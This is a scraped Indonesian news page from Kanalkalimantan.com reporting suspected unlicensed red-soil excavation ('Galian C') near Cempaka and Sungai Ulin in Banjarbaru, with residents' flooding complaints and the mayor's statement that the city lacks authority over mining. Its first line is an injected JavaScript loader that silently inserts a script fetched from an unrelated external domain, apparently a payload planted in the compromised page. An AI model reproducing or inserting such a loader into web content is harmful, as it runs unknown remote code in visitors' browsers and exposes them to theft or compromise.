(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Diduga Tanpa Izin, Galian C di Sungai Ulin dan Cempaka Beroperasi Lebih dari 7 Tahun


KANALKALIMANTAN.COM, BANJARBARU – Aktivitas tambang Galian C di Kota Banjarbaru diduga tanpa izin alias tak resmi tapi tetap beroperasi.

Seperti di sekitar Komplek Villa Asri Banjarbaru lebih tepatnya di sekitar Bukit Lentera Cempaka.

Aktivitas tambang Galian C masih marak dijumpai di kawasan perbukitan antara wilayah Banjarbaru Selatan dan Cempeka tersebut.

Baca juga: Wajah Baru Kapal Wisata Susur Sungai, Carter Keliling hingga Trip ke Lok Baintan 

 

 

Warga mengeluh ketika hujan turun di daerah Cempaka dan sekitarnya dilanda banjir, diduga akibat aktivitas tambang Galian C tak berizin.

Dari pantauan Kanalkalimantan.com, Senin (26/9/2022) sekira pukul 16.00 Wita ada beberapa truk dump yang mengangkut tanah merah di sekitar belakang Komplek Villa Asri Cempaka. Tanah merah itu kemudian diangkut melewati jalan tanah dan keluar di daerah Sungai Ulin, Banjarbaru.

Salah seorang warga sekitar, Jani mengatakan, aktivitas Galian C di kawasan itu sudah berjalan lama lebih dari 7 tahun. Padahal setahu dirinya, di Banjarbaru aktivitas Galian C dilarang beroperasi.

“Seharusnya ada tindakan tegas dari pemerintah, Galian C tidak diperbolehkan lagi, tapi di lapangan terus beroperasi melakukan pengerukan tanah merah,” kata Jani.

Baca juga: Program Remaja Teman Sebaya BNNK Banjarbaru, Ikhtiar Lawan Narkotika di Kalangan Anak Muda

Menurut warga ini, dengan adanya aktivitas pengerukan tanah untuk urukan atau Galian C membuat wilayah Cempaka kehilangan lahan resapan air. Akhirnya air hujan dengan cepat turun ke permukiman warga.

“Karena tidak ada lagi yang meresap bila hujan, air cepat turun ke komplek-komplek di sekitar atau di bawahnya,” tambahnya.

Terkait kondisi tersebut, Wali Kota Banjarbaru, Aditya Mufti Ariffin menegaskan Banjarbaru sendiri tidak ada tupoksi (tugas pokok dan fungsi) terkait pertambangan.

“Kita tidak ada tupoksi, yang ada di provinsi dan pusat,” katanya usai pelantikan pejabat fungsional di aula Gawi Sabarataan, Senin (26/9/2022).

Aditya memastikan tupoksi tambang Galian C baik yang beroperasi dan yang ditinggalkan bukan kewenangan dari Pemerintah Kota (Pemko) Banjarbaru.

“Kita tidak ada kewenangan, itu yang pastinya,” tegasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : kk


Risa

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

11 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

12 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

12 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

13 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

17 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

18 jam ago

This website uses cookies.